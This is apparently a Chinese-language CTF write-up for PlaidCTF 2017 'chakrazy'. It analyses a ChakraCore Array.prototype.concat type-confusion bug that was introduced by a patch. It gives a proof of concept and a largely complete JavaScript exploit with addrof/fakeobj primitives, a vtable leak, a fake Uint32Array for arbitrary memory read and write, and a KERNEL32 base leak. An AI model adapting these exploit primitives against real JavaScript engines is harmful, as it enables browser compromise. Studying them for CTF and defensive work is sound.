Plaidctf 2017 chakrazy

越来越觉得时间不够,所以不瞎折腾了,之后会把时间主要用在 v8 上,好好学习

Chakra 基础

Array

JavascriptArray

用于存储对象,每个元素占 8 bytes

1
var obj[0] = {};

JavascriptNativeIntArray

用于存储整数,每个元素占 4 bytes

1
var arr = [1];

JavascriptNativeFloatArray

用于存储浮点数,每个元素占 8 bytes

1
var float_arr = [7.7];

下面来看下 JavascriptArray 的内存布局,使用下面的代码进行调试

1
2
3
let a = [1,2]
let b = [{},9]
let r = a.concat(b)

a.concat(b) 执行完后 r 数组的类型变成了 JavascriptArray,如下是 JavascriptArray 的内存布局
Snipaste_2019-02-08_14-06-15.png-162.7kB

1
2
3
4
5
6
7
8
                     vtable address    type
0x0000024BF7288930 00007ff9e22373e0 0000024bf7264e80 ?s#??...€N&?K...
ausxSlots arrayFlags 和 arrayCallSiteIndex
0x0000024BF7288940 0000000000000000 0000000000000005 ................
length head
0x0000024BF7288950 0000000000000004 0000024bf7288968 ........h?(?K...
segmentUnion
0x0000024BF7288960 0000024bf7288968 0000000400000000 h?(?K...........

vtable 指向虚表,type 指向一块表示 Array 信息的内存, type 的类型如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Type
{
friend class DynamicObject;
friend class GlobalObject;
friend class ScriptEngineBase;

protected:
Field(TypeId) typeId; //表示对象类型 0x1c 代表 TypeIds_Array
Field(TypeFlagMask) flags;

Field(JavascriptLibrary*) javascriptLibrary;

Field(RecyclableObject*) prototype;
FieldNoBarrier(JavascriptMethod) entryPoint;
private:
Field(TypePropertyCache *) propertyCache;
......
}

auxSlots 存储的什么还没看懂,只知道它的类型是 void **。 只有对象类型为 ArrayarrayFlagsarrayCallSiteIndex 才会有意义

1
2
3
4
5
6
7
8
9
10
11
12
// The objectArrayOrFlags field can store one of two things:
// a) a pointer to the object array holding numeric properties of this object, or
// b) a bitfield of flags.
union
{
Field(ArrayObject *) objectArray; // Only if !IsAnyArray
struct // Only if IsAnyArray
{
Field(DynamicObjectFlags) arrayFlags;
Field(ProfileId) arrayCallSiteIndex;
};
};

arrayFlags 的类型为 DynamicObjectFlags,在本例中 arrayFlags 大小为 0x5 可知其为 InitialArrayValue = ObjectArrayFlagsTag | HasNoMissingValuesHasNoMissingValues 表示数组中没有 holes

1
2
3
4
5
6
7
8
9
10
11
12
enum class DynamicObjectFlags : uint16
{
None = 0u,
ObjectArrayFlagsTag = 1u << 0, // Tag bit used to indicate the objectArrayOrFlags field is used as flags as opposed to object array pointer.
HasSegmentMap = 1u << 1,
HasNoMissingValues = 1u << 2, // The head segment of a JavascriptArray has no missing values.

InitialArrayValue = ObjectArrayFlagsTag | HasNoMissingValues,

AllArrayFlags = HasNoMissingValues | HasSegmentMap,
AllFlags = ObjectArrayFlagsTag | HasNoMissingValues | HasSegmentMap
};

其中 headSparseArraySegmentBase 类型的指针,由下面可以看出在 left, length, size , next 后存储的为数组数据,其中 next 指向下一个 SparseArraySegment,下面的图可能更清晰
Snipaste_2019-02-08_15-35-41.png-55.5kB

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
namespace Js
{
class SparseArraySegmentBase
{
public:
static const uint32 MaxLength;

Field(uint32) left; // TODO: (leish)(swb) this can easily be recycler false positive on x86, or on x64 if combine with length field
// find a way to either tag this or find a better solution
Field(uint32) length; //we use length instead of right so that we can denote a segment is empty
Field(uint32) size;
Field(SparseArraySegmentBase*) next;
......
};

template<typename T>
class SparseArraySegment : public SparseArraySegmentBase
{
public:
SparseArraySegment(uint32 left, uint32 length, uint32 size) :
SparseArraySegmentBase(left, length, size) {}

Field(T) elements[]; // actual elements will follow this determined by size

......
};

......

} // namespace Js

漏洞分析

patch 文件如下,可以看到判断 pDestArray 是否为 JavascriptNativeIntArray 的代码被注释了,也就是说默认在这个函数里 pDestArrayJavascriptNativeIntArray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
diff --git a/lib/Runtime/Library/JavascriptArray.cpp b/lib/Runtime/Library/JavascriptArray.cpp
index a666b0b..0e8a073 100644
--- a/lib/Runtime/Library/JavascriptArray.cpp
+++ b/lib/Runtime/Library/JavascriptArray.cpp
@@ -3151,12 +3151,6 @@ namespace Js
if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
- if (!JavascriptNativeIntArray::Is(pDestArray))
- {
- ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
- return pDestArray;
- }
-
if(!spreadableCheckedAndTrue)
{
pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);

这段代码属于 JavascriptArray* JavascriptArray::ConcatIntArgs() 函数,对应着 javascript 数组里的 concat 函数,其父函数为 JavascriptArray::EntryConcat(),下面是 JavascriptArray::EntryConcat() 函数的功能注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
Var JavascriptArray::EntryConcat(RecyclableObject* function, CallInfo callInfo, ...)
{
//没仔细看 应该和栈的开辟相关
PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);
//将函数调用信息存到 args
ARGUMENTS(args, callInfo);
ScriptContext* scriptContext = function->GetScriptContext();

Assert(!(callInfo.Flags & CallFlags_New));

if (args.Info.Count == 0)
{
JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NullOrUndefined, _u("Array.prototype.concat"));
}

//
// Compute the destination ScriptArray size:
// - Each item, flattening only one level if a ScriptArray.
//

uint32 cDestLength = 0;
JavascriptArray * pDestArray = NULL;

PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault + (args.Info.Count * sizeof(TypeId*)));
//为 remoteTypeIds 开辟栈空间
TypeId* remoteTypeIds = (TypeId*)_alloca(args.Info.Count * sizeof(TypeId*));

bool isInt = true;
bool isFloat = true;
::Math::RecordOverflowPolicy destLengthOverflow;
for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
{
//根据idxArg获取参数
Var aItem = args[idxArg];
#if ENABLE_COPYONACCESS_ARRAY
JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray<Var>(aItem);
#endif
//对传入的参数进行检查 其必须为 Array 类型
if (DynamicObject::IsAnyArray(aItem)) // Get JavascriptArray or ES5Array length
{
//将参数转化为 JavascriptArray 类型 方便后面判断参数类型
JavascriptArray * pItemArray = JavascriptArray::FromAnyArray(aItem);
//根据 TypeId 判断参数的类型
if (isFloat)
{
if (!JavascriptNativeIntArray::Is(pItemArray))
{
isInt = false;
if (!JavascriptNativeFloatArray::Is(pItemArray))
{
isFloat = false;
}
}
}
//取出数组长度 加到 cDestLength 上
cDestLength = UInt32Math::Add(cDestLength, pItemArray->GetLength(), destLengthOverflow);
}
else // Get remote array or object length
{
// We already checked for types derived from JavascriptArray. These are types that should behave like array
// i.e. proxy to array and remote array.
......
}
}
if (destLengthOverflow.HasOverflowed())
{
cDestLength = MaxArrayLength;
isInt = false;
isFloat = false;
}

//
// Create the destination array
//
RecyclableObject* pDestObj = nullptr;
bool isArray = false;
//根据 Symbol.species 的值 创建对象
pDestObj = ArraySpeciesCreate(args[0], 0, scriptContext);
if (pDestObj)
{
#if ENABLE_COPYONACCESS_ARRAY
JavascriptLibrary::CheckAndConvertCopyOnAccessNativeIntArray<Var>(pDestObj);
#endif
// Check the thing that species create made. If it's a native array that can't handle the source
// data, convert it. If it's a more conservative kind of array than the source data, indicate that
// so that the data will be converted on copy.
if (isInt)
{
if (JavascriptNativeIntArray::Is(pDestObj))
{
isArray = true;
}
else
{
isInt = false;
isFloat = JavascriptNativeFloatArray::Is(pDestObj);
isArray = JavascriptArray::Is(pDestObj);
}
}
......
}
//进入 if
if (pDestObj == nullptr || isArray)
{
if (isInt)
{
//isArray 为真 执行 JavascriptNativeIntArray::FromVar(pDestObj)
JavascriptNativeIntArray *pIntArray = isArray ? JavascriptNativeIntArray::FromVar(pDestObj) : scriptContext->GetLibrary()->CreateNativeIntArray(cDestLength);
//为 Array 分配 head
pIntArray->EnsureHead<int32>();
//调用被改动的函数
pDestArray = ConcatIntArgs(pIntArray, remoteTypeIds, args, scriptContext);
}
......
// Return the new array instance.
//

#ifdef VALIDATE_ARRAY
pDestArray->ValidateArray();
#endif

return pDestArray;
}
Assert(pDestObj);
ConcatArgsCallingHelper(pDestObj, remoteTypeIds, args, scriptContext, destLengthOverflow);

return pDestObj;
}

JavascriptArray::ConcatIntArgs 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
JavascriptArray* JavascriptArray::ConcatIntArgs(JavascriptNativeIntArray* pDestArray, TypeId *remoteTypeIds, Js::Arguments& args, ScriptContext* scriptContext)
{
uint idxDest = 0u;
for (uint idxArg = 0; idxArg < args.Info.Count; idxArg++)
{
//逐个获取 concat 函数的参数
Var aItem = args[idxArg];
bool spreadableCheckedAndTrue = false;

if (scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
{
//判断 Symbol.isConcatSpreadable 是否为 FALSE
spreadableCheckedAndTrue = JavascriptOperators::IsConcatSpreadable(aItem) != FALSE;
/*
if (!JavascriptNativeIntArray::Is(pDestArray))
{
ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
return pDestArray;
}
*/
//Symbol.isConcatSpreadable 为 FALSE 时 直接将数组嵌入目标数组不展开
if(!spreadableCheckedAndTrue)
{
pDestArray->SetItem(idxDest, aItem, PropertyOperation_ThrowIfNotExtensible);
idxDest = idxDest + 1;
if (!JavascriptNativeIntArray::Is(pDestArray)) // SetItem could convert pDestArray to a var array if aItem is not an integer if so fall back
{
ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
return pDestArray;
}
continue;
}
}

if (JavascriptNativeIntArray::Is(aItem)) // Fast path
{
JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem);
bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
idxDest = idxDest + pItemArray->length;
if (converted)
{
// Copying the last array forced a conversion, so switch over to the var version
// to finish.
ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
return pDestArray;
}
}
else if (!JavascriptArray::IsAnyArray(aItem) && remoteTypeIds[idxArg] != TypeIds_Array)
{
if (TaggedInt::Is(aItem))
{
pDestArray->DirectSetItemAt(idxDest, TaggedInt::ToInt32(aItem));
}
else
{
#if DBG
int32 int32Value;
Assert(
JavascriptNumber::TryGetInt32Value(JavascriptNumber::GetValue(aItem), &int32Value) &&
!SparseArraySegment<int32>::IsMissingItem(&int32Value));
#endif
pDestArray->DirectSetItemAt(idxDest, static_cast<int32>(JavascriptNumber::GetValue(aItem)));
}
++idxDest;
}
else
{
//将 pDestArray 转换为 JavascriptArray 类型
JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray);
//将参数数组连接到 pVarDestArray
ConcatArgs<uint>(pVarDestArray, remoteTypeIds, args, scriptContext, idxArg, idxDest, spreadableCheckedAndTrue);
return pVarDestArray;
}
}
if (pDestArray->GetLength() != idxDest)
{
pDestArray->SetLength(idxDest);
}
return pDestArray;
}

在执行 JavascriptArray::ConcatIntArgs 函数后 pDestArray 默认为 JavascriptNativeIntArray 类型,所以在进入函数后如果更改 pDestArray 数组类型,则可能会触发漏洞,下面是参考了 ebodaexploit 写的 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
var obj = {};
var arr1 = [0, 1, 2, 3, 4, 5];
var arr2 = [0, 5, 6, 7, 8, 9];

var cons = new Function();
cons[Symbol.species] = function() {
destArr = []; // here destArr is just a JavascriptNativeIntArray
return destArr;
}

arr1.constructor = cons;

// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of destArr by simply assigning an object to it
fakeProp = { get: function() {
arr2[0] = obj;
destArr[0] = obj; // destArr was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};

Object.defineProperty(arr2, Symbol.isConcatSpreadable, fakeProp);

// trigger the vulnerability
var arr = arr1.concat(arr2);

JavascriptArray *pVarDestArray = JavascriptNativeIntArray::ConvertToVarArray(pDestArray); 会将 pDestArray 转换为 JavascriptArray 类型,但是 poc 里已经被 destArr[0] = obj; 转换过,所以会造成类型混淆,所以 pDestArray 的整数将从由 32 位表示换成 64 位,但是存储整数占的大小还是 32 位,因为数组第一个元素为地址,可以被当作两个 JavascriptNativeIntArray 元素,转换后成了两个整数,所以可以泄露对象地址。
Snipaste_2019-02-08_20-21-48.png-18.3kB

Exploit

Fake Object

当执行 JavascriptNativeIntArray::ConvertToVarArray(pDestArray); 函数时,可以将对象地址当作数组值泄露出来,同理,如果能实现将数组中两个 JavascriptNativeIntArray 数值合成一个 JavascriptArray 类型数据,就可以达到伪造 Object 地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
var obj = {};
var arr1 = [0, 1, 2, 3, 4, 5];
var arr2 = [256, 512];

var cons = new Function();
cons[Symbol.species] = function() {
destArr = []; // here destArr is just a JavascriptNativeIntArray
return destArr;
}

arr1.constructor = cons;


fakeProp = { get: function() {
destArr[0] = obj;
return true;
}};

Object.defineProperty(arr2, Symbol.isConcatSpreadable, fakeProp);

// trigger the vulnerability
var arr = arr1.concat(arr2);

Snipaste_2019-02-08_20-44-13.png-14.3kB
因为 arr2JavascriptNativeIntArray 类型,所以将进入下面的 if 条件,执行 CopyNativeIntArrayElements 函数,还是和上面一样的类型混淆,可以帮助构造一个 fake object

1
2
3
4
5
6
7
8
9
10
11
12
13
if (JavascriptNativeIntArray::Is(aItem)) // Fast path
{
JavascriptNativeIntArray* pItemArray = JavascriptNativeIntArray::FromVar(aItem);
bool converted = CopyNativeIntArrayElements(pDestArray, idxDest, pItemArray);
idxDest = idxDest + pItemArray->length;
if (converted)
{
// Copying the last array forced a conversion, so switch over to the var version
// to finish.
ConcatArgs<uint>(pDestArray, remoteTypeIds, args, scriptContext, idxArg + 1, idxDest);
return pDestArray;
}
}

Arbitrary read/write primitive

通过伪造 Uint32Array 并控制 buffer pointer 达到任意读写,伪造的 Uint32Array 结构下面的值是必须的

  • Uint32Array 的虚表地址
  • 伪造 Uint32Array 的 type id 指针
  • 假的 size
  • ArrayBuffer 的地址
  • 假的 data buffer pointer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// Next we obtain the address of an ArrayBuffer
var ab = new ArrayBuffer(0x1000);
var ab_addr = addrof(ab);

// The type pointer should point to a struct whose first element
// is 0x30, which is the type id for a Uint32Array
var type = new Array(16);
type[0] = 0x30; // type == Uint32Array == 0x30

// the address we want is at offset 0x58 (where the inline data for Arrays begins)
var array_type = addrof(type)+0x58;

console.log("[+] Fake the Uint32Array object inside the inline data of the real Array......");

// now fake the Uint32Array object inside the inline data of the real Array
var real = new Array(16);
var real_addr = addrof(real);

// fake vtable pointer
real[0] = lower(uint32_array_vtable);
real[1] = upper(uint32_array_vtable);

// fake type pointer
real[2] = lower(array_type);
real[3] = upper(array_type);

// dont care
real[4] = 0;
real[5] = 0;
real[6] = 0;
real[7] = 0;

// fake size
real[8] = 0x1000;
real[9] = 0;

// fake ArrayBuffer pointer
real[10] = lower(ab_addr);
real[11] = upper(ab_addr);

// dont care
real[12] = 0;
real[13] = 0;


// the following creates an object which we will use to read and write
// memory arbitrarily
var memory = {
handle: fakeobj(real_addr + 0x58),
init: function(addr) {
// we set the buffer pointer of the fake Uint32Array to the
// target address
real[14] = lower(addr);
real[15] = upper(addr);

// Now get a handle to the fake object!
return memory.handle;
},
read32: function(addr) {
fake_array = memory.init(addr);
return fake_array[0];
},
read64: function(addr) {
fake_array = memory.init(addr);
return combine(fake_array[0], fake_array[1]);
},
write32: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = data;
},
write64: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = lower(data);
fake_array[1] = lower(upper);
}
}

Exploit

其实这部分没写,发现找 gadget 好麻烦,也不想再看 charka 啦,现在只想好好看 v8,发现有好多要学的,先看一个吧,这样会好些,下面是可以任意读写的脚本,如果是 linux 下命令执行是很难,发现 windows 好难,也许是我不了解 windows 的缘故,去看 v8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264

function cloneFunc( func ) {
// from http://stackoverflow.com/a/19515928
// used to create a copy of a function
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
, s = func.toString().replace(/^\s|\s$/g, '')
, m = reFn.exec(s);
if (!m || !m.length) return;
var conf = {
name : m[1] || '',
args : m[2].replace(/\s+/g,'').split(','),
body : m[3] || ''
}
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
return clone;
}

function fakeobj(addr) {
// proxy function which clones the original function at each call
// this is needed cause otherwise the function gets JITed and does not
// work more than once
fakeobj_ = cloneFunc(fakeobj_);
return fakeobj_(addr);
}

function addrof(obj) {
addrof_ = cloneFunc(addrof_);
return addrof_(obj);
}


function addrof_(obj) {
var arr1 = [0, 1, 2, 3, 4, 5];
var arr2 = [0, 5, 6, 7, 8, 9];

var cons = new Function();
cons[Symbol.species] = function() {
destArr = []; // here destArr is just a JavascriptNativeIntArray
return destArr;
}

arr1.constructor = cons;

// Here we define a custom getter for the Symbol.isConcatSpreadable property
// In it we change the type of destArr by simply assigning an object to it
fakeProp = { get: function() {
arr2[0] = obj;
destArr[0] = obj; // destArr was JavascriptNativeIntArray, now changed to JavascriptArray
return true;
}};

Object.defineProperty(arr2, Symbol.isConcatSpreadable, fakeProp);

// trigger the vulnerability
var arr = arr1.concat(arr2);

return combine(arr[0], arr[1]);
}

function fakeobj_(addr) {
var obj = {};
var arr1 = [0, 1, 2, 3, 4, 5];
var arr2 = [lower(addr), upper(addr)];

var cons = new Function();
cons[Symbol.species] = function() {
destArr = []; // here destArr is just a JavascriptNativeIntArray
return destArr;
}

arr1.constructor = cons;


fakeProp = { get: function() {
destArr[0] = obj;
return true;
}};

Object.defineProperty(arr2, Symbol.isConcatSpreadable, fakeProp);

// trigger the vulnerability
var arr = arr1.concat(arr2);

return arr[3];
}


function lower(x) {
// returns the lower 32bit of x
return parseInt(("0000000000000000" + x.toString(16)).substr(-8,8),16) | 0;
}

function upper(x) {
// returns the upper 32bit of x
return parseInt(("0000000000000000" + x.toString(16)).substr(-16, 8),16) | 0;
}

function combine(a, b) {
a = a >>> 0;
b = b >>> 0;
return parseInt(b.toString(16) + a.toString(16), 16);
}

// use Uint64Number to leak the Array vtable pointer
function leak_vtable() {
//Array a
//0x000002198214C140 00007ffc3a406d20 0000021982104f00 0000000000000000 0000000000000005 m@:?....O.?....................
//0x000002198214C160 0000000000000010 000002198214c180 000002198214c180 0000021180518a60 ........€?.?....€?.?....`?Q€....
//0x000002198214C180 0000001000000000 0000000000000012 0000000000000000 0000000100000000 ................................
//0x000002198214C1A0 0000000300000002 0000000500000004 0000000700000006 0000000900000008 ................................
// fake Uint64 vtable type pointer
//0x000002198214C1C0 0000000b0000000a 0000000d0000000c 0000000f0000000e 8000000280000002 ...........................€...€
//Array b
//0x000002198214C1E0 00007ffc3a406d20 0000021982104f00 0000000000000000 0000000000010005 m@:?....O.?....................
//0x000002198214C200 0000000000000010 000002198214c220 000002198214c220 0000021180518a60 ........ ?.?.... ?.?....`?Q€....
//0x000002198214C220 0000001000000000 0000000000000012 0000000000000000 0000001100000010 ................................
//0x000002198214C240 0000001300000012 0000001500000014 0000001700000016 0000001900000018 ................................
//0x000002198214C260 0000001b0000001a 0000001d0000001c 0000001f0000001e 8000000280000002 ...........................€...€

//typedef JavascriptTypedNumber<unsigned __int64> JavascriptUInt64Number;
//class JavascriptTypedNumber : public RecyclableObject
// JavascriptUInt64Number
// offset 0x0 : vtable (unused)
// 0x8 : Js::Type* type
// 0x10: unsigned long value

var a = new Array(16);
for (var i = 0; i < 16;i++) a[i] = i;
var b = new Array(16);
for (var i = 0; i < 16;i++) b[i] = 16 + i;

console.log("[+] Construct fake JavascriptUInt64Number......");
// get the address of the first array
a_addr = addrof(a);

// at offset 0x60 lies a[3]
uint64_type_ptr = a_addr + 0x68;

// we set a[4] to 0x6 since 0x6 is the type of Uint64Number
a[4] = 0x6; // type of Uint64
a[5] = 0;

console.log("[+] Set up the type pointer for our fake a Uint64 object");
a[16] = lower(uint64_type_ptr)
a[17] = upper(uint64_type_ptr)

// now everything is set up, we fake the Uint64 object
fakeUint64 = fakeobj(a_addr + 0x90)

// finally we leak the vtable pointer of b by calling parseInt()
// on our fake object
console.log("[+] Leak JavascriptNativeIntArray vtable");
vtable = parseInt(fakeUint64);

return vtable
}

function arbitrary_rw(){

// first we leak the vtable of an Array
array_vtable = leak_vtable();
console.log("[+] JavascriptNativeIntArray vtable @ 0x" + array_vtable.toString(16));

uint32_array_vtable = array_vtable + 0x109f0;
console.log("[+] Uint32Array vtable @ 0x" + uint32_array_vtable.toString(16));

charka_base = array_vtable - 0x5f6d20;
console.log("[+] CharkaCore base @ 0x" + charka_base.toString(16));


// Next we obtain the address of an ArrayBuffer
var ab = new ArrayBuffer(0x1000);
var ab_addr = addrof(ab);

// The type pointer should point to a struct whose first element
// is 0x30, which is the type id for a Uint32Array
var type = new Array(16);
type[0] = 0x30; // type == Uint32Array == 0x30

// the address we want is at offset 0x58 (where the inline data for Arrays begins)
var array_type = addrof(type)+0x58;

console.log("[+] Fake the Uint32Array object inside the inline data of the real Array......");

// now fake the Uint32Array object inside the inline data of the real Array
var real = new Array(16);
var real_addr = addrof(real);

// fake vtable pointer
real[0] = lower(uint32_array_vtable);
real[1] = upper(uint32_array_vtable);

// fake type pointer
real[2] = lower(array_type);
real[3] = upper(array_type);

// dont care
real[4] = 0;
real[5] = 0;
real[6] = 0;
real[7] = 0;

// fake size
real[8] = 0x1000;
real[9] = 0;

// fake ArrayBuffer pointer
real[10] = lower(ab_addr);
real[11] = upper(ab_addr);

// dont care
real[12] = 0;
real[13] = 0;


// the following creates an object which we will use to read and write
// memory arbitrarily
var memory = {
handle: fakeobj(real_addr + 0x58),
init: function(addr) {
// we set the buffer pointer of the fake Uint32Array to the
// target address
real[14] = lower(addr);
real[15] = upper(addr);

// Now get a handle to the fake object!
return memory.handle;
},
read32: function(addr) {
fake_array = memory.init(addr);
return fake_array[0];
},
read64: function(addr) {
fake_array = memory.init(addr);
return combine(fake_array[0], fake_array[1]);
},
write32: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = data;
},
write64: function(addr, data) {
fake_array = memory.init(addr);
fake_array[0] = lower(data);
fake_array[1] = lower(upper);
}
}

return memory;
}
function pwn() {
var mem = arbitrary_rw();

var heap_create = charka_base + 0x000000000057A0F0;

var heap_create_addr = mem.read64(heap_create);
console.log("[+] KERNEL32!HeapCreate address @ 0x" + heap_create_addr.toString(16));

var kernel_address = heap_create_addr - 0x1e6b0;
console.log("[+] KERNEL32 base address @ 0x" + kernel_address.toString(16));

}


pwn();

REFERENCE

eboda